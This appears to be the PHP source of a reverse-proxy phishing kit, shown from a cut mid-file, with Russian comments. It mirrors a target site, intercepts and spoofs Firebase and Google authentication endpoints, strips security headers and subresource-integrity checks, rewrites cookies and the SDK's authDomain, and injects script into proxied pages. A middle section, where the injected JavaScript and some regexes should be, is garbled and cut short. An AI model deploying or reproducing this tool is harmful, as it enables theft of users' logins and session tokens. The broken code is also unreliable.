$v) { if (strpos($k, 'HTTP_') === 0) $h[str_replace('_', '-', substr($k, 5))] = $v; elseif (in_array($k, ['CONTENT_TYPE','CONTENT_LENGTH'], true)) $h[str_replace('_', '-', $k)] = $v; } return $h; } } // Обработка OPTIONS запросов для CORS if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS'); header('Access-Control-Allow-Headers: *'); header('Access-Control-Max-Age: 86400'); http_response_code(204); exit; } $my_host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $proxy_np = preg_replace('/:[0-9]+$/', '', $my_host); $port_sfx = strpos($my_host, ':') !== false ? substr($my_host, strpos($my_host, ':')) : ''; $proxy_host = $proxy_np . $port_sfx; $is_https = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; $my_scheme = $is_https ? 'https' : 'http'; $request_uri = $_SERVER['REQUEST_URI'] ?? '/'; $fake_origin = 'https://' . $firebase_project; // ---------------------------------------------------- // ПЕРЕХВАТ И ПОДМЕНА FIREBASE API // ---------------------------------------------------- if (strpos($request_uri, '/__api/googleapis/') === 0) { // Intercept Google APIs $target_host = 'www.googleapis.com'; $full_url = 'https://www.googleapis.com/' . substr($request_uri, 18); } elseif (strpos($request_uri, '/__api/securetoken/') === 0) { // Intercept Firebase Secure Token $target_host = 'securetoken.googleapis.com'; $full_url = 'https://securetoken.googleapis.com/' . substr($request_uri, 19); } elseif (strpos($request_uri, '/__/auth/') === 0 || strpos($request_uri, '/__/') === 0) { // Intercept Firebase Auth iframe и Firebase internal files $target_host = $firebase_project; $full_url = 'https://' . $firebase_project . $request_uri; } else { // Обычный прокси $target_sub = ''; if (preg_match('#^/__sub/([a-zA-Z0-9](?:[a-zA-Z0-9._-]*[a-zA-Z0-9])?)(/[^?#]*)?([?#].*)?$#', $request_uri, $m)) { $target_sub = strtolower($m[1]); $path = isset($m[2]) && $m[2] !== '' ? $m[2] : '/'; $qs = $m[3] ?? ''; $request_uri = $path . $qs; } $target_host = $target_sub !== '' ? $target_sub . '.' . $base_target_domain : $base_target_domain; $full_url = 'https://' . $target_host . $request_uri; } // ---------------------------------------------------- $ch = curl_init($full_url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 30, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_ENCODING => '', ]); // Заголовки которые нужно пропустить (изменить) $skip_h = ['host', 'accept-encoding', 'connection', 'keep-alive', 'upgrade', 'transfer-encoding']; $out_headers = ['Host: ' . $target_host]; foreach (getallheaders() as $k => $v) { $lk = strtolower($k); if (in_array($lk, $skip_h, true)) continue; if ($lk === 'referer' || $lk === 'origin') { // Подменяем Origin для серверов Google/Firebase if (strpos($target_host, 'googleapis.com') !== false || strpos($target_host, 'firebaseapp.com') !== false || strpos($target_host, 'firebaseio.com') !== false || strpos($target_host, 'gstatic.com') !== false) { $v = $fake_origin; } else { $v = proxy_url_to_target($v, $base_target_domain, $proxy_host); } } $out_headers[] = "$k: $v"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $out_headers); $method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; // Читаем тело запроса для POST, PUT, PATCH, DELETE $raw_body = ''; if (in_array($method, ['POST', 'PUT', 'PATCH', 'DELETE'], true)) { $raw_body = file_get_contents('php://input'); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); } else { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); } $processed_body = proxy_url_to_target($raw_body, $base_target_domain, $proxy_host); curl_setopt($ch, CURLOPT_POSTFIELDS, $processed_body); } $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); error_log("Proxy curl error: $error - URL: $full_url"); http_response_code(502); die('Proxy error: ' . $error); } $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $raw_headers = substr($response, 0, $header_size); $body = substr($response, $header_size); $status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Парсинг заголовков ответа $blocks = preg_split('/\r\n\r\n/', trim($raw_headers)); $last_block = end($blocks); http_response_code($status); $content_type = ''; // Хоп-б-хоп заголовки $hop_list = ['connection','keep-alive','proxy-authenticate','proxy-authorization', 'te','trailers','transfer-encoding','upgrade']; // Security заголовки которые могут мешать прокси $sec_list = ['content-security-policy','content-security-policy-report-only', 'x-frame-options','strict-transport-security', 'cross-origin-opener-policy','cross-origin-embedder-policy','cross-origin-resource-policy']; foreach (explode("\r\n", $last_block) as $line) { if (trim($line) === '' || preg_match('/^HTTP\//i', $line)) continue; $cp = strpos($line, ':'); if ($cp === false) continue; $hname = strtolower(trim(substr($line, 0, $cp))); $hval = trim(substr($line, $cp + 1)); if (in_array($hname, $hop_list, true) || in_array($hname, $sec_list, true)) continue; if ($hname === 'content-type') { $content_type = strtolower($hval); } if ($hname === 'set-cookie') { // Удаляем domain из cookies $line = preg_replace('/;\s*domain=[^;]+/i', '', $line); if (stripos($line, 'path=') === false) { $line = preg_replace('/^(Set-Cookie:\s*[^;]+)/i', '$1; Path=/', $line); } else { $line = preg_replace('/;\s*path=[^;]*/i', '; Path=/', $line); } if (!$is_https) { $line = preg_replace('/;\s*Secure/i', '', $line); $line = preg_replace('/;\s*SameSite=None/i', '; SameSite=Lax', $line); } header($line, false); continue; } if ($hname === 'location') { $new_loc = target_url_to_proxy($hval, $base_target_domain, $proxy_host, $my_scheme); header('Location: ' . $new_loc); continue; } if (in_array($hname, ['link','refresh','content-location'], true)) { $val = target_url_to_proxy($hval, $base_target_domain, $proxy_host, $my_scheme); header(substr($line, 0, $cp + 1) . ' ' . $val, false); continue; } // CORS заголовки - всегда разрешаем всё if ($hname === 'access-control-allow-origin') { header('Access-Control-Allow-Origin: *', false); continue; } if (strpos($hname, 'access-control-') === 0) { header($line, false); continue; } header($line, false); } // Установка CORS заголовков если их нет if (!headers_sent()) { header('Access-Control-Allow-Origin: *'); } // Определение текстового контента $is_text = ( strpos($content_type, 'text/') !== false || strpos($content_type, 'json') !== false || strpos($content_type, 'javascript') !== false || strpos($content_type, 'xml') !== false || strpos($content_type, 'svg') !== false || $content_type === '' // Если content-type не указан, считаем текстом ); if ($is_text && $body !== '' && $body !== false) { // Обработка HTML и JavaScript if (strpos($content_type, 'javascript') !== false || strpos($content_type, 'html') !== false || strpos($content_type, 'application/x-javascript') !== false || $content_type === '' || strpos($content_type, 'text/plain') !== false) { // Удаляем integrity и crossorigin для обхода SRI $body = preg_replace('/\s+integrity\s*=\s*"[^"]*"/i', '', $body) ?? $body; $body = preg_replace('/\s+integrity\s*=\s*\'[^\']*\'/i', '', $body) ?? $body; $body = preg_replace('/\s+crossorigin(\s*=\s*"[^"]*"|\s*=\s*\'[^\']*\'|\s*=\s*\S+)?/i', '', $body) ?? $body; // De-obfuscation CloudFlare email protection $body = preg_replace_callback( '/data-cfemail="([0-9a-f]+)"/i', function ($m) use ($base_target_domain, $proxy_np) { $hex = $m[1]; $key = hexdec(substr($hex, 0, 2)); $email = ''; for ($i = 2; $i < strlen($hex); $i += 2) $email .= chr(hexdec(substr($hex, $i, 2)) ^ $key); $email_new = str_ireplace('@' . $base_target_domain, '@' . $proxy_np, $email); $k2 = rand(1, 254); $h2 = str_pad(dechex($k2), 2, '0', STR_PAD_LEFT); for ($i = 0; $i < strlen($email_new); $i++) $h2 .= str_pad(dechex(ord($email_new[$i]) ^ $k2), 2, '0', STR_PAD_LEFT); return 'data-cfemail="' . $h2 . '"'; }, $body ) ?? $body; // ---------------------------------------------------- // ДИНАМИЧЕСКАЯ ЗАМЕНА КОНФИГА FIREBASE SDK // ---------------------------------------------------- // Подменяем authDomain в Firebase config $authDomainPatterns = [ 'authDomain:"' . $firebase_project . '"', 'authDomain: "' . $firebase_project . '"', "authDomain:'" . $firebase_project . "'", "authDomain: '" . $firebase_project . "'", ]; foreach ($authDomainPatterns as $pattern) { $body = str_replace($pattern, 'authDomain:"' . $proxy_host . '"', $body); } // Перенаправляем API-запросы Firebase в наш прокси $body = str_replace( ['https://www.googleapis.com', 'http://www.googleapis.com'], 'https://' . $proxy_host . '/__api/googleapis', $body ); $body = str_replace( ['https://securetoken.googleapis.com', 'http://securetoken.googleapis.com'], 'https://' . $proxy_host . '/__api/securetoken', $body ); // Подменяем firebaseapp.com URLs для static assets $body = str_replace( 'https://' . $firebase_project, 'https://' . $proxy_host, $body ); // ---------------------------------------------------- // Замена URL в теле ответа $body = target_body_to_proxy($body, $base_target_domain, $proxy_host); $body = firebase_body_to_proxy($body, $firebase_project, $proxy_host); // Внедрение JS для динамической обработки $has_closing_tag = stripos($body, ' ') !== false || stripos($body, '') !== false; if ($has_closing_tag) { $js_tpl = <<<'JSSRC' (function(){ var TD='__PH__'; var PH='__PH__'; var NP='__NP__'; var FP='__FP__'; var esc=TD.replace(/[.+?^${}()|[\]\\]/g,'\\$&'); // Domain replacement regex var reEmail=new RegExp('(?]*)?(?![a-zA-Z0-9\-])#i', function ($m) use ($td) { $scheme = ($m[1] ?? '') !== '' ? $m[1] : 'https:'; $path = $m[2] ?? ''; return $scheme . '//' . $td . $path; }, $str ) ?? $str; $str = preg_replace_callback( '#(https?:)?\\\\/\\\\/' . $ph_q . '((?:\\\\/[^\s"\'<>]*)?)(?![a-zA-Z0-9\-])#i', function ($m) use ($td) { $scheme = ($m[1] ?? '') !== '' ? $m[1] : 'https:'; $path = $m[2] ?? ''; return $scheme . '\\/\\/' . $td . $path; }, $str ) ?? $str; return $str; } ?>